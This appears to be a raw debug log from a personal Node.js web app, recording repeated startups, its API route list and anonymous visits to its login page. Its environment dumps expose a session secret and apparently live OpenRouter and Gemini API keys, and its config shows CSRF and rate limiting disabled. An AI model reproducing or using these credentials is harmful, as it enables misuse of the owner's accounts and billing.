}
2026-04-23T07:23:46.824Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T07:23:46.998Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T07:23:47.081Z server-connect:setup:upload Upload middleware configured.
2026-04-23T07:23:47.081Z server-connect:secure CSRF Protection initialized
2026-04-23T07:23:47.083Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T07:23:47.085Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T07:23:47.085Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T07:23:47.086Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T07:23:47.086Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T07:23:47.087Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T07:23:47.088Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T07:23:47.089Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T07:23:47.092Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T07:23:47.092Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T07:23:47.092Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T07:23:47.093Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T07:23:47.093Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T07:23:47.093Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T07:23:47.094Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T07:23:47.094Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T07:23:47.094Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T07:23:47.095Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T07:23:47.095Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T07:23:47.095Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T07:23:47.095Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T07:23:47.096Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T07:23:47.096Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T07:23:47.096Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T07:23:47.097Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T07:23:47.097Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T07:23:47.097Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T07:23:47.097Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T07:23:47.097Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T07:23:47.098Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T07:23:47.098Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T07:23:47.098Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T07:23:47.098Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T07:23:47.098Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T07:23:47.099Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T07:23:47.099Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T07:23:47.099Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T07:23:47.099Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T07:23:47.201Z server-connect:router Serving templateView /
2026-04-23T07:23:47.203Z server-connect:app Executing action step identify
2026-04-23T07:23:47.203Z server-connect:app options: { provider: 'security' }
2026-04-23T07:23:47.204Z server-connect:auth No login cookie found
2026-04-23T07:23:47.205Z server-connect:output identity: false
2026-04-23T07:23:47.205Z server-connect:app Executing action step restrict
2026-04-23T07:23:47.205Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T07:23:47.208Z server-connect:output restrict: undefined
2026-04-23T07:23:47.518Z server-connect:router Serving templateView /login
2026-04-23T07:23:47.518Z server-connect:app Executing action step identify
2026-04-23T07:23:47.519Z server-connect:app options: { provider: 'security' }
2026-04-23T07:23:47.519Z server-connect:auth No login cookie found
2026-04-23T07:23:47.519Z server-connect:output identity: false
2026-04-23T07:23:47.519Z server-connect:router Render template layouts/authentication
2026-04-23T07:23:47.520Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '194.163.139.165',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T07:23:47.515Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '194.163.139.165',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '194.163.139.165',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T08:09:24.564Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T08:09:24.800Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T08:09:25.245Z server-connect:setup:upload Upload middleware configured.
2026-04-23T08:09:25.245Z server-connect:secure CSRF Protection initialized
2026-04-23T08:09:25.247Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T08:09:25.249Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T08:09:25.249Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T08:09:25.252Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T08:09:25.255Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T08:09:25.261Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T08:09:25.272Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T08:09:25.287Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T08:09:25.288Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T08:09:25.291Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T08:09:25.293Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T08:09:25.295Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T08:09:25.300Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T08:09:25.310Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T08:09:25.311Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T08:09:25.320Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T08:09:25.322Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T08:09:25.324Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T08:09:25.330Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T08:09:25.334Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T08:09:25.336Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T08:09:25.339Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T08:09:25.341Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T08:09:25.347Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T08:09:25.349Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T08:09:25.353Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T08:09:25.355Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T08:09:25.357Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T08:09:25.359Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T08:09:25.361Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T08:09:25.363Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T08:09:25.365Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T08:09:25.367Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T08:09:25.369Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T08:09:25.375Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T08:09:25.379Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T08:09:25.379Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T08:09:25.390Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T08:09:25.713Z server-connect:router Serving templateView /
2026-04-23T08:09:25.753Z server-connect:app Executing action step identify
2026-04-23T08:09:25.753Z server-connect:app options: { provider: 'security' }
2026-04-23T08:09:25.758Z server-connect:auth No login cookie found
2026-04-23T08:09:25.758Z server-connect:output identity: false
2026-04-23T08:09:25.758Z server-connect:app Executing action step restrict
2026-04-23T08:09:25.758Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T08:09:25.761Z server-connect:output restrict: undefined
2026-04-23T08:09:26.058Z server-connect:router Serving templateView /login
2026-04-23T08:09:26.058Z server-connect:app Executing action step identify
2026-04-23T08:09:26.058Z server-connect:app options: { provider: 'security' }
2026-04-23T08:09:26.058Z server-connect:auth No login cookie found
2026-04-23T08:09:26.058Z server-connect:output identity: false
2026-04-23T08:09:26.058Z server-connect:router Render template layouts/authentication
2026-04-23T08:09:26.059Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '194.163.190.65',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T08:09:26.055Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '194.163.190.65',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '194.163.190.65',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T08:18:45.404Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T08:18:45.554Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T08:18:45.648Z server-connect:setup:upload Upload middleware configured.
2026-04-23T08:18:45.648Z server-connect:secure CSRF Protection initialized
2026-04-23T08:18:45.650Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T08:18:45.652Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T08:18:45.652Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T08:18:45.676Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T08:18:45.677Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T08:18:45.677Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T08:18:45.678Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T08:18:45.681Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T08:18:45.681Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T08:18:45.682Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T08:18:45.682Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T08:18:45.682Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T08:18:45.683Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T08:18:45.683Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T08:18:45.683Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T08:18:45.684Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T08:18:45.684Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T08:18:45.684Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T08:18:45.685Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T08:18:45.685Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T08:18:45.685Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T08:18:45.685Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T08:18:45.686Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T08:18:45.686Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T08:18:45.686Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T08:18:45.686Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T08:18:45.687Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T08:18:45.687Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T08:18:45.687Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T08:18:45.687Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T08:18:45.688Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T08:18:45.688Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T08:18:45.688Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T08:18:45.688Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T08:18:45.688Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T08:18:45.689Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T08:18:45.689Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T08:18:45.689Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T08:18:45.779Z server-connect:router Serving templateView /
2026-04-23T08:18:45.792Z server-connect:app Executing action step identify
2026-04-23T08:18:45.793Z server-connect:app options: { provider: 'security' }
2026-04-23T08:18:45.794Z server-connect:auth No login cookie found
2026-04-23T08:18:45.794Z server-connect:output identity: false
2026-04-23T08:18:45.794Z server-connect:app Executing action step restrict
2026-04-23T08:18:45.795Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T08:18:45.798Z server-connect:output restrict: undefined
2026-04-23T08:18:46.208Z server-connect:router Serving templateView /login
2026-04-23T08:18:46.209Z server-connect:app Executing action step identify
2026-04-23T08:18:46.209Z server-connect:app options: { provider: 'security' }
2026-04-23T08:18:46.209Z server-connect:auth No login cookie found
2026-04-23T08:18:46.209Z server-connect:output identity: false
2026-04-23T08:18:46.210Z server-connect:router Render template layouts/authentication
2026-04-23T08:18:46.211Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '161.97.79.241',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T08:18:46.206Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '161.97.79.241',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '161.97.79.241',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T09:06:41.416Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T09:06:42.000Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T09:06:42.153Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T09:06:42.246Z server-connect:setup:upload Upload middleware configured.
2026-04-23T09:06:42.247Z server-connect:secure CSRF Protection initialized
2026-04-23T09:06:42.248Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T09:06:42.250Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T09:06:42.251Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T09:06:42.251Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T09:06:42.252Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T09:06:42.252Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T09:06:42.253Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T09:06:42.254Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
